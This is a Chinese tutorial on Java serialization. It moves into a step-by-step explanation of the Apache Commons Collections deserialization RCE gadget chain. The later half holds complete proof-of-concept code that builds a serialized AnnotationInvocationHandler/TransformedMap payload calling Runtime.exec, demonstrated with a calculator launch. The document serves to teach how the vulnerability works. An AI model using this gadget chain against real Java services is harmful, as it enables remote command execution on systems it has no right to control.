# Java 序列化 / 反序列化
在 Java 中实现对象反序列化非常简单,实现 java.io.Serializable(内部序列化)
或 java.io.Externalizable(外部序列化)
接口即可被序列化,其中 java.io.Externalizable
接口只是实现了 java.io.Serializable
接口。
反序列化类对象时有如下限制:
- 被反序列化的类必须存在。
serialVersionUID
值必须一致。
除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了 sun.reflect.ReflectionFactory.newConstructorForSerialization
创建了一个反序列化专用的 Constructor(反射构造方法对象)
,使用这个特殊的 Constructor
可以绕过构造方法创建类实例 (前面章节讲 sun.misc.Unsafe
的时候我们提到了使用 allocateInstance
方法也可以实现绕过构造方法创建类实例)。
# ObjectInputStream、ObjectOutputStream
java.io.ObjectOutputStream
类最核心的方法是 writeObject
方法,即序列化类对象。
java.io.ObjectInputStream
类最核心的功能是 readObject
方法,即反序列化类对象。
所以,只需借助 ObjectInputStream
和 ObjectOutputStream
类我们就可以实现类的序列化和反序列化功能了。
# java.io.Serializable
java.io.Serializable
是一个空的接口,我们不需要实现 java.io.Serializable
的任何方法,代码如下:
public interface Serializable { | |
} |
您可能会好奇我们实现一个空接口有什么意义?其实实现 java.io.Serializable
接口仅仅只用于 标识这个类可序列化
。实现了 java.io.Serializable
接口的类原则上都需要生产一个 serialVersionUID
常量,反序列化时如果双方的 serialVersionUID
不一致会导致 InvalidClassException
异常。如果可序列化类未显式声明 serialVersionUID
,则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID
值。
DeserializationTest.java
测试代码如下:
package org.example; | |
// 实现可序列化接口 | |
import lombok.Data; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectInputStream; | |
import java.util.Arrays; | |
@Data | |
public class DeserializationTest implements java.io.Serializable{ | |
public String name; | |
public String address; | |
public transient int SSN; | |
public int number; | |
public void mailCheck() { | |
System.out.println("Mailing a check to " + name + " " + address); | |
} | |
public static void main(String[] args) { | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
try { | |
DeserializationTest e = new DeserializationTest(); | |
e.name = "Reyan Ali"; | |
e.address = "Phokka Kuan, Ambehta Peer"; | |
e.SSN = 11122333; | |
e.number = 101; | |
e.mailCheck(); | |
// 序列化输出流对象 | |
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos); | |
oos.writeObject(e); | |
oos.close(); | |
// 打印 DeserializationTest 类序列化以后的字节数组,我们可以将其存储到文件中或者通过 Socket 发送到远程服务地址 | |
System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray())); | |
// 利用 DeserializationTest 类生成的二进制数组创建二进制输入流对象用于反序列化操作 | |
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); | |
// 通过反序列化输入流 (bais), 创建 Java 对象输入流 (ObjectInputStream) 对象 | |
ObjectInputStream in = new ObjectInputStream(bais); | |
// 反序列化输入流数据为 DeserializationTest 对象 | |
DeserializationTest test = (DeserializationTest) in.readObject(); | |
System.out.println("用户名:" + test.getName() + ",邮箱:" + test.getAddress()); | |
// 关闭 ObjectInputStream 输入流 | |
in.close(); | |
} catch (java.io.IOException i) { | |
i.printStackTrace(); | |
return; | |
} catch (ClassNotFoundException e) { | |
throw new RuntimeException(e); | |
} | |
} | |
} |
程序执行结果如下:
Mailing a check to Reyan Ali Phokka Kuan, Ambehta Peer | |
DeserializationTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 31, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, -85, -35, -41, -27, -118, -4, -50, 56, 2, 0, 3, 73, 0, 6, 110, 117, 109, 98, 101, 114, 76, 0, 7, 97, 100, 100, 114, 101, 115, 115, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 4, 110, 97, 109, 101, 113, 0, 126, 0, 1, 120, 112, 0, 0, 0, 101, 116, 0, 25, 80, 104, 111, 107, 107, 97, 32, 75, 117, 97, 110, 44, 32, 65, 109, 98, 101, 104, 116, 97, 32, 80, 101, 101, 114, 116, 0, 9, 82, 101, 121, 97, 110, 32, 65, 108, 105] | |
用户名:Reyan Ali,邮箱:Phokka Kuan, Ambehta Peer |
核心逻辑其实就是使用 ObjectOutputStream
类的 writeObject
方法序列化 DeserializationTest
类,使用 ObjectInputStream
类的 readObject
方法反序列化 DeserializationTest
类而已。
核心逻辑其实就是使用 ObjectOutputStream
类的 writeObject
方法序列化 DeserializationTest
类,使用 ObjectInputStream
类的 readObject
方法反序列化 DeserializationTest
类而已。
简化后的代码片段如下:
// 序列化 DeserializationTest 类 | |
ObjectOutputStream out = new ObjectOutputStream(baos); | |
out.writeObject(t); | |
// 反序列化输入流数据为 DeserializationTest 对象 | |
ObjectInputStream in = new ObjectInputStream(bais); | |
DeserializationTest test = (DeserializationTest) in.readObject(); |
ObjectOutputStream
序列化类对象的主要流程是首先判断序列化的类是否重写了 writeObject
方法,如果重写了就调用序列化对象自身的 writeObject
方法序列化,序列化时会先写入类名信息,其次是写入成员变量信息 (通过反射获取所有不包含被 transient
修饰的变量和值)。
# java.io.Externalizable
java.io.Externalizable
和 java.io.Serializable
几乎一样,只是 java.io.Externalizable
接口定义了 writeExternal
和 readExternal
方法需要序列化和反序列化的类实现,其余的和 java.io.Serializable
并无差别。
java.io.Externalizable.java:
public interface Externalizable extends java.io.Serializable { | |
void writeExternal(ObjectOutput out) throws IOException; | |
void readExternal(ObjectInput in) throws IOException, ClassNotFoundException; | |
} |
ExternalizableTest.java
测试代码如下:
package com.anbai.sec.serializes; | |
import java.io.*; | |
import java.util.Arrays; | |
/** | |
* Creator: yz | |
* Date: 2019/12/15 | |
*/ | |
public class ExternalizableTest implements java.io.Externalizable { | |
private String username; | |
private String email; | |
// 省去 get/set 方法.... | |
@Override | |
public void writeExternal(ObjectOutput out) throws IOException { | |
out.writeObject(username); | |
out.writeObject(email); | |
} | |
@Override | |
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { | |
this.username = (String) in.readObject(); | |
this.email = (String) in.readObject(); | |
} | |
public static void main(String[] args) { | |
// 省去测试代码,因为和 DeserializationTest 一样... | |
} | |
} |
程序执行结果如下:
ExternalizableTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 43, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 69, 120, 116, 101, 114, 110, 97, 108, 105, 122, 97, 98, 108, 101, 84, 101, 115, 116, -122, 124, 92, -120, -52, 73, -100, 6, 12, 0, 0, 120, 112, 116, 0, 2, 121, 122, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 120] | |
ExternalizableTest类反序列化后的字符串:��sr+com.anbai.sec.serializes.ExternalizableTest�|\��I�xptyztadmin@javaweb.orgx | |
用户名:yz,邮箱:admin@javaweb.org |
鉴于两者之间没有多大差别,这里就不再赘述。
# 自定义序列化 (writeObject) 和反序列化 (readObject)
实现了 java.io.Serializable
接口的类,还可以定义如下方法 ( 反序列化魔术方法
),这些方法将会在类序列化或反序列化过程中调用:
-
private void writeObject(ObjectOutputStream oos)
, 自定义序列化。 -
private void readObject(ObjectInputStream ois)
,自定义反序列化。 private void readObjectNoData()
。protected Object writeReplace()
,写入时替换对象。protected Object readResolve()
。
具体的方法名定义在 java.io.ObjectStreamClass#ObjectStreamClass(java.lang.Class<?>)
,其中方法有详细的声明。
序列化时可自定义的方法示例代码:
public class DeserializationTest implements Serializable { | |
/** | |
* 自定义反序列化类对象 | |
* | |
* @param ois 反序列化输入流对象 | |
* @throws IOException IO 异常 | |
* @throws ClassNotFoundException 类未找到异常 | |
*/ | |
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { | |
System.out.println("readObject..."); | |
// 调用 ObjectInputStream 默认反序列化方法 | |
ois.defaultReadObject(); | |
// 省去调用自定义反序列化逻辑... | |
} | |
/** | |
* 自定义序列化类对象 | |
* | |
* @param oos 序列化输出流对象 | |
* @throws IOException IO 异常 | |
*/ | |
private void writeObject(ObjectOutputStream oos) throws IOException { | |
oos.defaultWriteObject(); | |
System.out.println("writeObject..."); | |
// 省去调用自定义序列化逻辑... | |
} | |
private void readObjectNoData() { | |
System.out.println("readObjectNoData..."); | |
} | |
/** | |
* 写入时替换对象 | |
* | |
* @return 替换后的对象 | |
*/ | |
protected Object writeReplace() { | |
System.out.println("writeReplace...."); | |
return null; | |
} | |
protected Object readResolve() { | |
System.out.println("readResolve...."); | |
return null; | |
} | |
} |
当我们对 DeserializationTest
类进行序列化操作时,会自动调用 (反射调用) 该类的 writeObject(ObjectOutputStream oos)
方法,对其进行反序列化操作时也会自动调用该类的 readObject(ObjectInputStream)
方法,也就是说我们可以通过在待序列化或反序列化的类中定义 readObject
和 writeObject
方法,来实现自定义的序列化和反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是 private
。
# Apache Commons Collections 反序列化漏洞
Apache Commons
是 Apache
开源的 Java 通用类项目在 Java 中项目中被广泛的使用, Apache Commons
当中有一个组件叫做 Apache Commons Collections
,主要封装了 Java 的 Collection(集合)
相关类对象。本节将逐步详解 Collections
反序列化攻击链 (仅以 TransformedMap
调用链为示例) 最终实现反序列化 RCE
。
# Transformer
Transformer
是一个接口类,提供了一个对象转换方法 transform
,源码如下:
public interface Transformer { | |
/** | |
* 将输入对象(保持不变)转换为某个输出对象。 | |
* | |
* @param input 需要转换的对象,应保持不变 | |
* @return 一个已转换的对象 | |
* @throws ClassCastException (runtime) 如果输入是错误的类 | |
* @throws IllegalArgumentException (runtime) 如果输入无效 | |
* @throws FunctorException (runtime) 如果转换无法完成 | |
*/ | |
public Object transform(Object input); | |
} |
该接口的重要实现类有: ConstantTransformer
、 invokerTransformer
、 ChainedTransformer
、 TransformedMap
。
# ConstantTransformer
ConstantTransformer
类是 Transformer
接口其中的一个实现类, ConstantTransformer
类重写了 transformer
方法,源码如下:
package org.apache.commons.collections.functors; | |
import java.io.Serializable; | |
import org.apache.commons.collections.Transformer; | |
public class ConstantTransformer implements Transformer, Serializable { | |
private static final long serialVersionUID = 6374440726369055124L; | |
/** 每次都返回 null */ | |
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null); | |
/** The closures to call in turn */ | |
private final Object iConstant; | |
public static Transformer getInstance(Object constantToReturn) { | |
if (constantToReturn == null) { | |
return NULL_INSTANCE; | |
} | |
return new ConstantTransformer(constantToReturn); | |
} | |
public ConstantTransformer(Object constantToReturn) { | |
super(); | |
iConstant = constantToReturn; | |
} | |
public Object transform(Object input) { | |
return iConstant; | |
} | |
public Object getConstant() { | |
return iConstant; | |
} | |
} |
ConstantTransformer
,常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入 Runtime.class
进行转换返回的依旧是 Runtime.class
。
# InvokerTransformer
在 Collections
组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer
,这个类实现了 java.io.Serializable
接口。2015 年有研究者发现利用 InvokerTransformer
类的 transform
方法可以实现 Java 反序列化 RCE
,并提供了利用方法:CommonsCollections1.java。
InvokerTransformer
类 transform
方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。
示例 - InvokerTransformer 代码片段:
public class InvokerTransformer implements Transformer, Serializable { | |
private static final long serialVersionUID = -8653385846894047688L; | |
/** 要调用的方法名称 */ | |
private final String iMethodName; | |
/** 反射参数类型数组 */ | |
private final Class[] iParamTypes; | |
/** 反射参数值数组 */ | |
private final Object[] iArgs; | |
// 省去多余的方法和变量 | |
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { | |
super(); | |
iMethodName = methodName; | |
iParamTypes = paramTypes; | |
iArgs = args; | |
} | |
public Object transform(Object input) { | |
if (input == null) { | |
return null; | |
} | |
try { | |
// 获取输入类的类对象 | |
Class cls = input.getClass(); | |
// 通过输入的方法名和方法参数,获取指定的反射方法对象 | |
Method method = cls.getMethod(iMethodName, iParamTypes); | |
// 反射调用指定的方法并返回方法调用结果 | |
return method.invoke(input, iArgs); | |
} catch (Exception ex) { | |
// 省去异常处理部分代码 | |
} | |
} | |
} |
使用 InvokerTransformer
实现调用本地命令执行方法:
package com.anbai.sec.serializes; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
public class InvokerTransformerTest { | |
public static void main(String[] args) { | |
// 定义需要执行的本地系统命令 | |
String cmd = "open -a Calculator.app"; | |
// 构建 transformer 对象 | |
InvokerTransformer transformer = new InvokerTransformer( | |
"exec", new Class[]{String.class}, new Object[]{cmd} | |
); | |
// 传入 Runtime 实例,执行对象转换操作 | |
transformer.transform(Runtime.getRuntime()); | |
} | |
} |
上述实例演示了通过 InvokerTransformer
的反射机制来调用 java.lang.Runtime
来实现命令执行,但在真实的漏洞利用场景我们是没法在调用 transformer.transform
的时候直接传入 Runtime.getRuntime()
对象的,因此我们需要学习如何通过 ChainedTransformer
来创建攻击链。
# ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类封装了 Transformer
的链式调用,我们只需要传入一个 Transformer
数组, ChainedTransformer
就会依次调用每一个 Transformer
的 transform
方法。
ChainedTransformer.java
:
public class ChainedTransformer implements Transformer, Serializable { | |
/** The transformers to call in turn */ | |
private final Transformer[] iTransformers; | |
// 省去多余的方法和变量 | |
public ChainedTransformer(Transformer[] transformers) { | |
super(); | |
iTransformers = transformers; | |
} | |
public Object transform(Object object) { | |
for (int i = 0; i < iTransformers.length; i++) { | |
object = iTransformers[i].transform(object); | |
} | |
return object; | |
} | |
} |
使用 ChainedTransformer 实现调用本地命令执行方法:
package com.anbai.sec.serializes; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
public class ChainedTransformerTest { | |
public static void main(String[] args) throws Exception { | |
// 定义需要执行的本地系统命令 | |
String cmd = "open -a Calculator.app"; | |
// ChainedTransformer 调用链分解 | |
// // new ConstantTransformer(Runtime.class | |
// Class<?> runtimeClass = Runtime.class; | |
// | |
// // new InvokerTransformer("getMethod", new Class[]{ | |
// // String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} | |
// // ), | |
// Class cls1 = runtimeClass.getClass(); | |
// Method getMethod = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class}); | |
// Method getRuntime = (Method) getMethod.invoke(runtimeClass, new Object[]{"getRuntime", new Class[0]}); | |
// | |
// // new InvokerTransformer("invoke", new Class[]{ | |
// // Object.class, Object[].class}, new Object[]{null, new Object[0]} | |
// // ) | |
// Class cls2 = getRuntime.getClass(); | |
// Method invokeMethod = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class}); | |
// Runtime runtime = (Runtime) invokeMethod.invoke(getRuntime, new Object[]{null, new Class[0]}); | |
// | |
// // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) | |
// Class cls3 = runtime.getClass(); | |
// Method execMethod = cls3.getMethod("exec", new Class[]{String.class}); | |
// execMethod.invoke(runtime, cmd); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[]{ | |
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} | |
), | |
new InvokerTransformer("invoke", new Class[]{ | |
Object.class, Object[].class}, new Object[]{null, new Object[0]} | |
), | |
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) | |
}; | |
// 创建 ChainedTransformer 调用链对象 | |
Transformer transformedChain = new ChainedTransformer(transformers); | |
// 执行对象转换操作 | |
Object transform = transformedChain.transform(null); | |
System.out.println(transform); | |
} | |
} |
通过构建 ChainedTransformer
调用链,最终间接的使用 InvokerTransformer
完成了反射调用 Runtime.getRuntime().exec(cmd)
的逻辑。
# 利用 InvokerTransformer
执行本地命令
上面两个 Demo 为我们演示了如何使用 InvokerTransformer
执行本地命令,现在我们也就还只剩下两个问题:
- 如何传入恶意的
ChainedTransformer
; - 如何调用
transform
方法执行本地命令;
现在我们已经使用 InvokerTransformer
创建了一个含有恶意调用链的 Transformer
类的 Map 对象,紧接着我们应该思考如何才能够将调用链串起来并执行。
org.apache.commons.collections.map.TransformedMap
类间接的实现了 java.util.Map
接口,同时支持对 Map
的 key
或者 value
进行 Transformer
转换,调用 decorate
和 decorateTransform
方法就可以创建一个 TransformedMap
:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { | |
return new TransformedMap(map, keyTransformer, valueTransformer); | |
} | |
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) { | |
// 省去实现代码 | |
} |
只要调用 TransformedMap
的 setValue/put/putAll
中的任意方法都会调用 InvokerTransformer
类的 transform
方法,从而也就会触发命令执行。
使用 TransformedMap
类的 setValue 触发 transform 示例:
package com.anbai.sec.serializes; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.TransformedMap; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class TransformedMapTest { | |
public static void main(String[] args) { | |
String cmd = "open -a Calculator.app"; | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[]{ | |
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} | |
), | |
new InvokerTransformer("invoke", new Class[]{ | |
Object.class, Object[].class}, new Object[]{null, new Object[0]} | |
), | |
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) | |
}; | |
// 创建 ChainedTransformer 调用链对象 | |
Transformer transformedChain = new ChainedTransformer(transformers); | |
// 创建 Map 对象 | |
Map map = new HashMap(); | |
map.put("value", "value"); | |
// 使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象 | |
Map transformedMap = TransformedMap.decorate(map, null, transformedChain); | |
//transformedMap.put ("v1", "v2");// 执行 put 也会触发 transform | |
// 遍历 Map 元素,并调用 setValue 方法 | |
for (Object obj : transformedMap.entrySet()) { | |
Map.Entry entry = (Map.Entry) obj; | |
//setValue 最终调用到 InvokerTransformer 的 transform 方法,从而触发 Runtime 命令执行调用链 | |
entry.setValue("test"); | |
} | |
System.out.println(transformedMap); | |
} | |
} |
上述代码向我们展示了只要在 Java 的 API 中的任何一个类只要符合以下条件,我们就可以在 Java 反序列化的时候触发 InvokerTransformer
类的 transform
方法实现 RCE
:
- 实现了
java.io.Serializable
接口; - 并且可以传入我们构建的
TransformedMap
对象; - 调用了
TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类;
# AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler
类实现了 java.lang.reflect.InvocationHandler
( Java动态代理
) 接口和 java.io.Serializable
接口,它还重写了 readObject
方法,在 readObject
方法中还间接的调用了 TransformedMap
中 MapEntry
的 setValue
方法,从而也就触发了 transform
方法,完成了整个攻击链的调用。
AnnotationInvocationHandler代码片段:
package sun.reflect.annotation; | |
class AnnotationInvocationHandler implements InvocationHandler, Serializable { | |
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { | |
// 省去代码部分 | |
} | |
// Java 动态代理的 invoke 方法 | |
public Object invoke(Object var1, Method var2, Object[] var3) { | |
// 省去代码部分 | |
} | |
private void readObject(ObjectInputStream var1) { | |
// 省去代码部分 | |
} | |
} |
readObject
方法:
上图中的第 352
行中的 memberValues
是 AnnotationInvocationHandler
的成员变量, memberValues
的值是在 var1.defaultReadObject();
时反序列化生成的,它也就是我们在创建 AnnotationInvocationHandler
时传入的带有恶意攻击链的 TransformedMap
。需要注意的是如果我们想要进入到 var5.setValue
这个逻辑那么我们的序列化的 map
中的 key
必须包含创建 AnnotationInvocationHandler
时传入的注解的方法名。
既然利用 AnnotationInvocationHandler
类我们可以实现反序列化 RCE
,那么在序列化 AnnotationInvocationHandler
对象的时候传入我们精心构建的包含了恶意攻击链的 TransformedMap
对象的序列化字节数组给远程服务,对方在反序列化 AnnotationInvocationHandler
类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。
创建 AnnotationInvocationHandler
对象:
因为 sun.reflect.annotation.AnnotationInvocationHandler
是一个内部 API 专用的类,在外部我们无法通过类名创建出 AnnotationInvocationHandler
类实例,所以我们需要通过反射的方式创建出 AnnotationInvocationHandler
对象:
// 创建 Map 对象 | |
Map map = new HashMap(); | |
//map 的 key 名称必须对应创建 AnnotationInvocationHandler 时使用的注解方法名,比如创建 | |
// AnnotationInvocationHandler 时传入的注解是 java.lang.annotation.Target,那么 map | |
// 的 key 必须是 @Target 注解中的方法名,即:value,否则在反序列化 AnnotationInvocationHandler | |
// 类调用其自身实现的 readObject 方法时无法通过 if 判断也就无法通过调用到 setValue 方法了。 | |
map.put("value", "value"); | |
// 使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象 | |
Map transformedMap = TransformedMap.decorate(map, null, transformedChain); | |
// 获取 AnnotationInvocationHandler 类对象 | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
// 获取 AnnotationInvocationHandler 类的构造方法 | |
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); | |
// 设置构造方法的访问权限 | |
constructor.setAccessible(true); | |
// 创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于: | |
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap); | |
Object instance = constructor.newInstance(Target.class, transformedMap); |
instance
对象就是我们最终用于序列化的 AnnotationInvocationHandler
对象,我们只需要将这个 instance
序列化后就可以得到用于攻击的 payload
了。
完整的攻击示例 Demo:
package com.anbai.sec.serializes; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.TransformedMap; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectInputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.util.Arrays; | |
import java.util.HashMap; | |
import java.util.Map; | |
/** | |
* Creator: yz | |
* Date: 2019/12/16 | |
*/ | |
public class CommonsCollectionsTest { | |
public static void main(String[] args) { | |
String cmd = "open -a Calculator.app"; | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[]{ | |
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} | |
), | |
new InvokerTransformer("invoke", new Class[]{ | |
Object.class, Object[].class}, new Object[]{null, new Object[0]} | |
), | |
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) | |
}; | |
// 创建 ChainedTransformer 调用链对象 | |
Transformer transformedChain = new ChainedTransformer(transformers); | |
// 创建 Map 对象 | |
Map map = new HashMap(); | |
map.put("value", "value"); | |
// 使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象 | |
Map transformedMap = TransformedMap.decorate(map, null, transformedChain); | |
// // 遍历 Map 元素,并调用 setValue 方法 | |
// for (Object obj : transformedMap.entrySet()) { | |
// Map.Entry entry = (Map.Entry) obj; | |
// | |
// //setValue 最终调用到 InvokerTransformer 的 transform 方法,从而触发 Runtime 命令执行调用链 | |
// entry.setValue("test"); | |
// } | |
// | |
//// transformedMap.put ("v1", "v2");// 执行 put 也会触发 transform | |
try { | |
// 获取 AnnotationInvocationHandler 类对象 | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
// 获取 AnnotationInvocationHandler 类的构造方法 | |
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); | |
// 设置构造方法的访问权限 | |
constructor.setAccessible(true); | |
// 创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于: | |
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap); | |
Object instance = constructor.newInstance(Target.class, transformedMap); | |
// 创建用于存储 payload 的二进制输出流对象 | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
// 创建 Java 对象序列化输出流对象 | |
ObjectOutputStream out = new ObjectOutputStream(baos); | |
// 序列化 AnnotationInvocationHandler 类 | |
out.writeObject(instance); | |
out.flush(); | |
out.close(); | |
// 获取序列化的二进制数组 | |
byte[] bytes = baos.toByteArray(); | |
// 输出序列化的二进制数组 | |
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes)); | |
// 利用 AnnotationInvocationHandler 类生成的二进制数组创建二进制输入流对象用于反序列化操作 | |
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); | |
// 通过反序列化输入流 (bais), 创建 Java 对象输入流 (ObjectInputStream) 对象 | |
ObjectInputStream in = new ObjectInputStream(bais); | |
// 模拟远程的反序列化过程 | |
in.readObject(); | |
// 关闭 ObjectInputStream 输入流 | |
in.close(); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
反序列化 RCE
调用链如下:
ObjectInputStream.readObject() | |
->AnnotationInvocationHandler.readObject() | |
->TransformedMap.entrySet().iterator().next().setValue() | |
->TransformedMap.checkSetValue() | |
->TransformedMap.transform() | |
->ChainedTransformer.transform() | |
->ConstantTransformer.transform() | |
->InvokerTransformer.transform() | |
->Method.invoke() | |
->Class.getMethod() | |
->InvokerTransformer.transform() | |
->Method.invoke() | |
->Runtime.getRuntime() | |
->InvokerTransformer.transform() | |
->Method.invoke() | |
->Runtime.exec() |
Apache Commons Collections
漏洞利用方式也不仅仅只有本节所讲解的利用 AnnotationInvocationHandler
触发 TransformedMap
构建调用链的这一种方式,ysoserial 还提供了多种基于 InstantiateTransformer/InvokerTransformer
构建调用链方式:LazyMap、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable。